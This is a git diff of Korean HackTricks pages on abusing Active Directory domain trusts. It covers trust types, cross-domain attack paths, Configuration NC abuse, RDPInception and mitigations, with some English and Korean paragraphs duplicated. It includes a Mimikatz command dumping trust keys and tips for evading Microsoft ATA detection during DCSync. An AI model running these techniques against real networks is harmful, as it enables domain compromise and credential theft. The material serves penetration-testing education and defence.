강화됩니다. -- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 발생하지 않지만, 트리 루트 신뢰는 새로운 도메인 트리를 포리스트에 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 양방향 전이성을 보장합니다. [Microsoft의 가이드에서 더 많은 정보를 찾을 수 있습니다](). -- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 양방향 전이 신뢰로, 보안 조치를 강화하기 위해 SID 필터링을 시행합니다. -- **MIT 신뢰**: 이러한 신뢰는 비 Windows, [RFC4120 준수](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정됩니다. MIT 신뢰는 좀 더 전문화되어 있으며, Windows 생태계 외부의 Kerberos 기반 시스템과의 통합이 필요한 환경에 맞춰져 있습니다. +- **Parent-Child Trusts**: 동일 포리스트 내에서 흔한 구성으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이적(transitive) 트러스트를 가집니다. 이는 부모와 자식 간에 인증 요청이 원활하게 흐를 수 있음을 의미합니다. +- **Cross-link Trusts**: "shortcut trusts"라고도 하며, 자식 도메인 간에 설정되어 레퍼럴 프로세스를 단축합니다. 복잡한 포리스트에서는 인증 레퍼럴이 포리스트 루트까지 올라갔다가 대상 도메인으로 내려가야 하는데, cross-link를 생성하면 이 경로를 단축할 수 있어 지리적으로 분산된 환경에서 유리합니다. +- **External Trusts**: 서로 관련이 없는 다른 도메인 간에 설정되며 비전이적(non-transitive)입니다. Microsoft 문서에 따르면 외부 트러스트는 포리스트 트러스트로 연결되지 않은 외부 도메인의 자원에 접근할 때 유용합니다. 외부 트러스트는 SID 필터링을 통해 보안을 강화합니다. +- **Tree-root Trusts**: 포리스트 루트 도메인과 새로 추가된 tree root 간에 자동으로 설정됩니다. 자주 접하지는 않지만, 새 도메인 트리를 포리스트에 추가할 때 중요하며 두 도메인 간 양방향 전이성을 보장합니다. +- **Forest Trusts**: 두 포리스트 루트 도메인 간의 양방향 전이적 트러스트로, SID 필터링을 적용해 보안을 강화합니다. +- **MIT Trusts**: 비-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정되는 트러스트입니다. MIT trusts는 Windows 생태계 밖의 Kerberos 기반 시스템과의 통합이 필요한 환경에 적합합니다. -#### **신뢰 관계의 다른 차이점** +#### Other differences in **trusting relationships** -- 신뢰 관계는 **전이적**일 수 있습니다 (A가 B를 신뢰하고, B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다. -- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰함) 또는 **일방향 신뢰**(한 쪽만 다른 쪽을 신뢰함)로 설정될 수 있습니다. +- 트러스트 관계는 **전이적(transitive)**일 수도 있고 **비전이적(non-transitive)**일 수도 있습니다 (예: A가 B를 신뢰하고 B가 C를 신뢰하면 A가 C를 신뢰하게 되는 경우). +- 트러스트 관계는 **양방향**(서로 신뢰) 또는 **일방향**(한쪽만 신뢰)으로 설정될 수 있습니다. -### 공격 경로 +### Attack Path -1. **신뢰 관계를 열거**합니다. -2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스에 접근할 수 있는지** 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요 (신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다). -3. 이 경우 kerberoast가 또 다른 옵션이 될 수 있습니다. -4. **계정을 손상시켜** 도메인 간에 **피벗**할 수 있습니다. +1. **신뢰 관계 열거(enumerate)** +2. 어떤 **security principal**(user/group/computer)이 **다른 도메인의 자원에 접근할 수 있는지** ACE 엔트리나 다른 도메인의 그룹 멤버십을 통해 확인합니다. **도메인 간 관계**를 찾아보세요(트러스트가 이 목적을 위해 생성되었을 가능성이 큽니다). +1. 이 경우 kerberoast도 또 다른 옵션이 될 수 있습니다. +3. 도메인 간으로 **피벗할 수 있는 계정들을 침해(compromise)** 합니다. -공격자는 다음 세 가지 주요 메커니즘을 통해 다른 도메인의 리소스에 접근할 수 있습니다: +다른 도메인의 자원에 접근할 수 있는 공격자는 주로 세 가지 메커니즘을 통해 접근할 수 있습니다: -- **로컬 그룹 구성원 자격**: 주체는 서버의 "관리자" 그룹과 같은 머신의 로컬 그룹에 추가될 수 있으며, 이를 통해 해당 머신에 대한 상당한 제어를 부여받습니다. -- **외부 도메인 그룹 구성원 자격**: 주체는 외부 도메인 내의 그룹의 구성원이 될 수도 있습니다. 그러나 이 방법의 효과는 신뢰의 성격과 그룹의 범위에 따라 달라집니다. -- **액세스 제어 목록(ACL)**: 주체는 **ACL**에 지정될 수 있으며, 특히 **DACL** 내의 **ACE**로서 특정 리소스에 대한 접근을 제공합니다. ACL, DACL 및 ACE의 메커니즘에 대해 더 깊이 파고들고자 하는 분들을 위해, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)"라는 백서가 귀중한 자료입니다. +- **Local Group Membership**: 프린터 서버 같은 서버의 “Administrators” 그룹에 주체가 추가되어 있으면 해당 머신에 대한 강력한 제어권을 가질 수 있습니다. +- **Foreign Domain Group Membership**: 주체가 외부 도메인의 그룹의 멤버일 수도 있습니다. 그러나 이 방법의 효과는 트러스트의 성격 및 그룹의 범위에 따라 다릅니다. +- **Access Control Lists (ACLs)**: 주체가 **ACL**, 특히 **DACL** 내의 **ACE**로 지정되어 특정 자원에 접근할 수 있도록 설정될 수 있습니다. ACL, DACL, ACE의 메커니즘을 더 깊이 파고들고 싶다면, "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" 백서가 유용한 자료입니다. -### 권한이 있는 외부 사용자/그룹 찾기 +### Find external users/groups with permissions -**`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**를 확인하여 도메인 내의 외부 보안 주체를 찾을 수 있습니다. 이는 **외부 도메인/포리스트**의 사용자/그룹이 될 것입니다. +외부 보안 주체(foreign security principals)를 찾으려면 **`CN=,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**을 확인하세요. 이 항목들은 **외부 도메인/포리스트**의 사용자/그룹입니다. -이것을 **Bloodhound**에서 확인하거나 powerview를 사용하여 확인할 수 있습니다: +이것은 Bloodhound에서 확인하거나 powerview를 사용하여 확인할 수 있습니다: ```powershell # Get users that are i groups outside of the current domain Get-DomainForeignUser @@ -600,8 +635,8 @@ nltest /dclist:sub.domain.local nltest /server:dc.sub.domain.local /domain_trusts /all_trusts ``` > [!WARNING] -> **2개의 신뢰할 수 있는 키**가 있습니다. 하나는 _Child --> Parent_를 위한 것이고, 다른 하나는 _Parent_ --> _Child_를 위한 것입니다.\ -> 현재 도메인에서 사용된 키를 확인하려면 다음을 사용하세요: +> 신뢰된 키가 **2개** 있습니다. 하나는 _Child --> Parent_ 용이고 다른 하나는 _Parent_ --> _Child_ 용입니다.\ +> 다음 명령으로 현재 도메인에서 사용 중인 키를 확인할 수 있습니다: > > ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local @@ -610,56 +645,53 @@ nltest /server:dc.sub.domain.local /domain_trusts /all_trusts #### SID-History Injection -SID-History 주입을 악용하여 자식/부모 도메인에서 엔터프라이즈 관리자 권한을 상승시킵니다: - +SID-History injection을 악용하여 트러스트를 통해 child/parent 도메인에서 Enterprise admin으로 권한 상승: {{#ref}} sid-history-injection.md {{#endref}} -#### 쓰기 가능한 Configuration NC 악용 +#### Exploit writeable Configuration NC -Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 구성 데이터의 중앙 저장소 역할을 합니다. 이 데이터는 숲 내 모든 도메인 컨트롤러(DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서 SYSTEM 권한**이 필요하며, 가능하면 자식 DC에서 수행해야 합니다. +Configuration Naming Context (NC)이 어떻게 악용될 수 있는지 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 포리스트 전반의 구성 데이터를 저장하는 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내 모든 Domain Controller (DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 보유합니다. 이를 악용하려면 **DC에서의 SYSTEM 권한**(가능하면 child DC에서)이 필요합니다. -**루트 DC 사이트에 GPO 연결** +**Link GPO to root DC site** -Configuration NC의 Sites 컨테이너에는 AD 숲 내 모든 도메인에 가입된 컴퓨터의 사이트에 대한 정보가 포함되어 있습니다. 모든 DC에서 SYSTEM 권한으로 작업함으로써 공격자는 GPO를 루트 DC 사이트에 연결할 수 있습니다. 이 작업은 이러한 사이트에 적용된 정책을 조작하여 루트 도메인을 잠재적으로 손상시킬 수 있습니다. +Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 도메인에 가입된 모든 컴퓨터의 사이트 정보가 포함되어 있습니다. 어떤 DC에서든 SYSTEM 권한으로 작업하면 공격자는 GPO를 root DC 사이트에 연결할 수 있습니다. 이 작업은 해당 사이트에 적용되는 정책을 조작하여 루트 도메인을 잠재적으로 손상시킬 수 있습니다. -자세한 정보는 [SID 필터 우회](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)에 대한 연구를 탐색할 수 있습니다. +For in-depth information, one might explore research on [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research). -**숲 내 모든 gMSA 손상** +**Compromise any gMSA in the forest** -공격 벡터는 도메인 내 특권 gMSA를 목표로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 숲 내 모든 gMSA의 비밀번호를 계산할 수 있습니다. - -자세한 분석 및 단계별 안내는 다음에서 확인할 수 있습니다: +공격 벡터로 도메인 내 권한 있는 gMSA를 노릴 수 있습니다. gMSA의 비밀번호를 계산하는 데 필요한 KDS Root key는 Configuration NC에 저장되어 있습니다. 어떤 DC에서든 SYSTEM 권한을 얻으면 KDS Root key에 접근하여 포리스트 전반의 어떤 gMSA든 비밀번호를 계산할 수 있습니다. +Detailed analysis and step-by-step guidance can be found in: {{#ref}} golden-dmsa-gmsa.md {{#endref}} -보완적인 위임 MSA 공격 (BadSuccessor – 마이그레이션 속성 악용): - +Complementary delegated MSA attack (BadSuccessor – abusing migration attributes): {{#ref}} badsuccessor-dmsa-migration-abuse.md {{#endref}} -추가 외부 연구: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). +Additional external research: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent). -**스키마 변경 공격** +**Schema change attack** -이 방법은 새로운 특권 AD 객체의 생성을 기다리는 인내가 필요합니다. SYSTEM 권한을 가진 공격자는 AD 스키마를 수정하여 모든 클래스에 대해 모든 사용자에게 완전한 제어를 부여할 수 있습니다. 이는 새로 생성된 AD 객체에 대한 무단 접근 및 제어로 이어질 수 있습니다. +이 방법은 인내심을 요구하며, 새로운 권한 있는 AD 객체가 생성되기를 기다려야 합니다. SYSTEM 권한을 가진 공격자는 AD Schema를 수정하여 모든 클래스에 대해 임의 사용자에게 전체 제어 권한을 부여할 수 있습니다. 이는 새로 생성되는 AD 객체들에 대한 무단 접근 및 제어로 이어질 수 있습니다. -추가 읽기는 [스키마 변경 신뢰 공격](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)에서 확인할 수 있습니다. +Further reading is available on [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent). -**ADCS ESC5로 DA에서 EA로** +**From DA to EA with ADCS ESC5** -ADCS ESC5 취약점은 공인 키 인프라(PKI) 객체에 대한 제어를 목표로 하여 숲 내의 모든 사용자로 인증할 수 있는 인증서 템플릿을 생성합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 자식 DC를 손상시키면 ESC5 공격을 실행할 수 있습니다. +ADCS ESC5 취약점은 PKI 객체에 대한 제어를 목표로 하여 포리스트 내의 모든 사용자로 인증할 수 있는 인증서 템플릿을 생성하게 합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 child DC를 침해하면 ESC5 공격을 수행할 수 있습니다. -자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다. +More details on this can be read in [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c). ADCS가 없는 환경에서는 공격자가 필요한 구성 요소를 직접 설정할 수 있는 방법에 대해 [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의하고 있습니다. -### 외부 숲 도메인 - 단방향(수신) 또는 양방향 +### External Forest Domain - One-Way (Inbound) or bidirectional ```bash Get-DomainTrust SourceName : a.domain.local --> Current domain @@ -670,13 +702,13 @@ TrustDirection : Inbound --> Inboud trust WhenCreated : 2/19/2021 10:50:56 PM WhenChanged : 2/19/2021 10:50:56 PM ``` -이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이는 귀하에게 **정확히 알 수 없는 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다: +이 시나리오에서는 **당신의 도메인이 신뢰된 상태입니다** 외부 도메인에 의해 신뢰되어 그 도메인에 대해 **명확히 정의되지 않은 권한**을 부여받습니다. 당신은 **자신의 도메인 내 어떤 프린시펄(Principal)이 외부 도메인에 대해 어떤 접근 권한을 가지는지** 찾아내고, 이를 악용해 보아야 합니다: {{#ref}} external-forest-domain-oneway-inbound.md {{#endref}} -### 외부 포리스트 도메인 - 일방향 (아웃바운드) +### 외부 포리스트 도메인 - 일방향(아웃바운드) ```bash Get-DomainTrust -Domain current.local @@ -688,72 +720,122 @@ TrustDirection : Outbound --> Outbound trust WhenCreated : 2/19/2021 10:15:24 PM WhenChanged : 2/19/2021 10:15:24 PM ``` -이 시나리오에서 **귀하의 도메인**은 **다른 도메인**의 주체에게 **특권**을 **신뢰**하고 있습니다. +In this scenario **your domain** is **trusting** some **privileges** to principal from a **different domains**. + +However, when a **domain is trusted** by the trusting domain, the trusted domain **creates a user** with a **predictable name** that uses as **password the trusted password**. Which means that it's possible to **access a user from the trusting domain to get inside the trusted one** to enumerate it and try to escalate more privileges: + +이 시나리오에서는 **your domain**이(가) **different domains**의 프린시펄에게 일부 **privileges**를 신뢰하고 있습니다. + +하지만 신뢰하는 도메인에 의해 **domain is trusted** 상태가 되면, 신뢰된 도메인은 **predictable name**을 가진 **user**를 생성하고 그 **password**로 **trusted password**를 사용합니다. 이는 **trusting domain**의 사용자를 통해 **trusted domain** 내부에 접근해 열거(enumerate)하고 더 높은 권한으로 상승을 시도할 수 있음을 의미합니다: -그러나 **도메인이 신뢰받을 때**, 신뢰하는 도메인은 **예측 가능한 이름**을 가진 **사용자**를 **신뢰된 비밀번호**를 사용하여 **생성**합니다. 이는 **신뢰하는 도메인에서 사용자를 접근하여 신뢰된 도메인에 들어가** 이를 열거하고 더 많은 특권을 상승시키는 것이 가능하다는 것을 의미합니다: {{#ref}} external-forest-domain-one-way-outbound.md {{#endref}} -신뢰된 도메인을 타협하는 또 다른 방법은 도메인 신뢰의 **반대 방향**에 생성된 [**SQL 신뢰 링크**](abusing-ad-mssql.md#mssql-trusted-links)를 찾는 것입니다(이는 그리 흔하지 않습니다). +Another way to compromise the trusted domain is to find a [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links) created in the **opposite direction** of the domain trust (which isn't very common). + +trusted domain를 침해하는 또 다른 방법은 도메인 트러스트의 **opposite direction**으로 생성된 [**SQL trusted link**](abusing-ad-mssql.md#mssql-trusted-links)를 찾는 것입니다(이는 흔하지 않습니다). + +Another way to compromise the trusted domain is to wait in a machine where a **user from the trusted domain can access** to login via **RDP**. Then, the attacker could inject code in the RDP session process and **access the origin domain of the victim** from there.\ +Moreover, if the **victim mounted his hard drive**, from the **RDP session** process the attacker could store **backdoors** in the **startup folder of the hard drive**. This technique is called **RDPInception.** + +trusted domain를 침해하는 또 다른 방법은 **user from the trusted domain can access**하여 **RDP**로 로그인할 수 있는 머신에서 기다리는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하여 거기서부터 **access the origin domain of the victim**할 수 있습니다.\ +또한 **victim mounted his hard drive** 상태라면, 공격자는 **RDP session** 프로세스에서 하드 드라이브의 **startup folder**에 **backdoors**를 저장할 수 있습니다. 이 기법은 **RDPInception**이라고 불립니다. -신뢰된 도메인을 타협하는 또 다른 방법은 **신뢰된 도메인에서 접근할 수 있는** 머신에서 대기하여 **RDP**를 통해 로그인하는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하고 **피해자의 원래 도메인에 접근**할 수 있습니다.\ -게다가, 만약 **피해자가 그의 하드 드라이브를 마운트했다면**, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다. {{#ref}} rdp-sessions-abuse.md {{#endref}} -### 도메인 신뢰 남용 완화 +### Domain trust abuse mitigation -### **SID 필터링:** +### **SID Filtering:** -- SID 히스토리 속성을 활용한 공격의 위험은 SID 필터링에 의해 완화되며, 이는 모든 상호 숲 신뢰에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 입장에 따라 숲을 보안 경계로 간주하고, 숲 내 신뢰가 안전하다는 가정에 기반합니다. -- 그러나 주의할 점이 있습니다: SID 필터링은 애플리케이션과 사용자 접근을 방해할 수 있어 가끔 비활성화될 수 있습니다. +- The risk of attacks leveraging the SID history attribute across forest trusts is mitigated by SID Filtering, which is activated by default on all inter-forest trusts. This is underpinned by the assumption that intra-forest trusts are secure, considering the forest, rather than the domain, as the security boundary as per Microsoft's stance. +- However, there's a catch: SID filtering might disrupt applications and user access, leading to its occasional deactivation. -### **선택적 인증:** +### **SID Filtering:** -- 상호 숲 신뢰의 경우, 선택적 인증을 사용하면 두 숲의 사용자들이 자동으로 인증되지 않도록 보장합니다. 대신, 신뢰하는 도메인이나 숲 내의 도메인 및 서버에 접근하기 위해서는 명시적인 권한이 필요합니다. -- 이러한 조치가 쓰기 가능한 구성 명명 컨텍스트(NC)의 악용이나 신뢰 계정에 대한 공격으로부터 보호하지 않는다는 점에 유의해야 합니다. +- forest 간 트러스트에서 SID history 속성을 악용한 공격 위험은 SID Filtering으로 완화됩니다. SID Filtering은 모든 inter-forest 트러스트에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 관점대로 도메인(domain) 대신 포리스트(forest)를 보안 경계로 간주하여 intra-forest 트러스트가 안전하다는 가정에 기반합니다. +- 다만 주의할 점은 SID filtering이 애플리케이션 및 사용자 접근을 방해할 수 있어 때때로 비활성화되는 경우가 있다는 것입니다. -[**ired.team에서 도메인 신뢰에 대한 더 많은 정보.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) +### **Selective Authentication:** + +- For inter-forest trusts, employing Selective Authentication ensures that users from the two forests are not automatically authenticated. Instead, explicit permissions are required for users to access domains and servers within the trusting domain or forest. +- It's important to note that these measures do not safeguard against the exploitation of the writable Configuration Naming Context (NC) or attacks on the trust account. + +### **Selective Authentication:** + +- inter-forest 트러스트의 경우 Selective Authentication을 사용하면 두 포리스트의 사용자가 자동으로 인증되지 않도록 보장합니다. 대신, 사용자가 trusting domain 또는 forest 내의 도메인 및 서버에 접근하려면 명시적 권한이 필요합니다. +- 이러한 조치들이 writable Configuration Naming Context (NC)의 악용이나 trust account에 대한 공격을 방지하지는 못한다는 점을 유의해야 합니다. + +[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain) ## AD -> Azure & Azure -> AD + {{#ref}} https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html {{#endref}} -## 일반적인 방어 +## Some General Defenses -[**자격 증명을 보호하는 방법에 대해 더 알아보세요.**](../stealing-credentials/credentials-protections.md) +[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md) -### **자격 증명 보호를 위한 방어 조치** +## 몇 가지 일반적인 방어책 -- **도메인 관리자 제한**: 도메인 관리자는 도메인 컨트롤러에만 로그인할 수 있도록 제한하는 것이 좋으며, 다른 호스트에서의 사용은 피해야 합니다. -- **서비스 계정 권한**: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권한으로 실행되어서는 안 됩니다. -- **임시 권한 제한**: DA 권한이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 수행할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` +[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md) -### **기만 기술 구현** +### **Defensive Measures for Credential Protection** -- 기만을 구현하는 것은 비밀번호가 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 유사 사용자 또는 컴퓨터와 같은 함정을 설정하는 것을 포함합니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 권한 그룹에 추가하는 것을 포함합니다. -- 실용적인 예로는 다음과 같은 도구를 사용하는 것입니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` -- 기만 기술 배포에 대한 더 많은 정보는 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 확인할 수 있습니다. +- **Domain Admins Restrictions**: It is recommended that Domain Admins should only be allowed to login to Domain Controllers, avoiding their use on other hosts. +- **Service Account Privileges**: Services should not be run with Domain Admin (DA) privileges to maintain security. +- **Temporal Privilege Limitation**: For tasks requiring DA privileges, their duration should be limited. This can be achieved by: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` -### **기만 식별** +### **자격증명 보호를 위한 방어 조치** -- **사용자 객체의 경우**: 의심스러운 지표에는 비정상적인 ObjectSID, 드문 로그인, 생성 날짜 및 낮은 잘못된 비밀번호 수가 포함됩니다. -- **일반 지표**: 잠재적인 유인물 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구는 이러한 기만을 식별하는 데 도움을 줄 수 있습니다. +- **Domain Admins Restrictions**: Domain Admins 계정은 다른 호스트에서 사용하는 것을 피하고 오직 Domain Controllers에만 로그인하도록 제한하는 것이 권장됩니다. +- **Service Account Privileges**: 보안을 위해 서비스는 Domain Admin (DA) 권한으로 실행되어서는 안 됩니다. +- **Temporal Privilege Limitation**: DA 권한이 필요한 작업의 경우 해당 권한 부여 시간을 제한해야 합니다. 예를 들어 다음과 같이 설정할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)` + +### **Implementing Deception Techniques** + +- Implementing deception involves setting traps, like decoy users or computers, with features such as passwords that do not expire or are marked as Trusted for Delegation. A detailed approach includes creating users with specific rights or adding them to high privilege groups. +- A practical example involves using tools like: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +- More on deploying deception techniques can be found at [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception). + +### **Deception 기법 구현** + +- Deception을 구현하려면 비활성화되지 않는 암호 설정이나 Trusted for Delegation로 표시된 계정 같은 유인 계정(예: decoy users 또는 computers)을 배치하는 등의 함정을 설정합니다. 구체적인 접근법으로는 특정 권한을 가진 사용자를 생성하거나 고권한 그룹에 추가하는 방법이 있습니다. +- 실용적인 예로는 다음과 같은 도구 사용이 있습니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose` +- deception 기법 배포에 대한 자세한 내용은 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 확인할 수 있습니다. + +### **Identifying Deception** + +- **For User Objects**: Suspicious indicators include atypical ObjectSID, infrequent logons, creation dates, and low bad password counts. +- **General Indicators**: Comparing attributes of potential decoy objects with those of genuine ones can reveal inconsistencies. Tools like [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) can assist in identifying such deceptions. + +### **Deception 식별** + +- **For User Objects**: 의심스러운 지표로는 비정상적인 ObjectSID, 드문 로그온, 생성일자, 낮은 bad password 카운트 등이 있습니다. +- **General Indicators**: 잠재적 유인 객체의 속성을 실제 객체와 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구가 이러한 deception 식별에 도움이 됩니다. + +### **Bypassing Detection Systems** + +- **Microsoft ATA Detection Bypass**: +- **User Enumeration**: Avoiding session enumeration on Domain Controllers to prevent ATA detection. +- **Ticket Impersonation**: Utilizing **aes** keys for ticket creation helps evade detection by not downgrading to NTLM. +- **DCSync Attacks**: Executing from a non-Domain Controller to avoid ATA detection is advised, as direct execution from a Domain Controller will trigger alerts. ### **탐지 시스템 우회** -- **Microsoft ATA 탐지 우회**: -- **사용자 열거**: ATA 탐지를 방지하기 위해 도메인 컨트롤러에서 세션 열거를 피합니다. -- **티켓 가장하기**: 티켓 생성을 위해 **aes** 키를 사용하면 NTLM으로 다운그레이드하지 않음으로써 탐지를 피할 수 있습니다. -- **DCSync 공격**: ATA 탐지를 피하기 위해 도메인 컨트롤러가 아닌 곳에서 실행하는 것이 좋으며, 도메인 컨트롤러에서 직접 실행하면 경고가 발생합니다. +- **Microsoft ATA Detection Bypass**: +- **User Enumeration**: ATA 탐지를 피하기 위해 Domain Controllers에서 세션 열거(session enumeration)를 피합니다. +- **Ticket Impersonation**: 티켓 생성 시 **aes** 키를 사용하면 NTLM으로 강등되지 않아 탐지를 회피하는 데 도움이 됩니다. +- **DCSync Attacks**: 직행으로 Domain Controller에서 실행하면 경보가 발생하므로, ATA 탐지를 피하려면 non-Domain Controller에서 실행하는 것이 권장됩니다. -## 참고 문헌 +## References - [http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/) - [https://www.labofapenetrationtester.com/2018/10/deploy-deception.html](https://www.labofapenetrationtester.com/2018/10/deploy-deception.html) diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index a7aa1470c..523f59ebb 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -2,70 +2,79 @@ {{#include ../../../banners/hacktricks-training.md}} -**이 페이지는 주로** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **와** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**의 기술 요약입니다. 더 자세한 내용은 원본 기사를 확인하세요.** +**이 페이지는 주로 다음 글들의 기법을 요약한 것입니다:** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **및** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. 자세한 내용은 원문 기사를 확인하세요.** ## BadSuccessor + {{#ref}} BadSuccessor.md {{#endref}} -## **사용자에 대한 GenericAll 권한** +## **GenericAll 사용자에 대한 전체 권한** -이 권한은 공격자에게 대상 사용자 계정에 대한 완전한 제어를 부여합니다. `Get-ObjectAcl` 명령을 사용하여 `GenericAll` 권한이 확인되면, 공격자는 다음을 수행할 수 있습니다: +이 권한은 공격자에게 대상 사용자 계정에 대한 전체 제어 권한을 부여합니다. `GenericAll` 권한이 `Get-ObjectAcl` 명령으로 확인되면, 공격자는 다음을 수행할 수 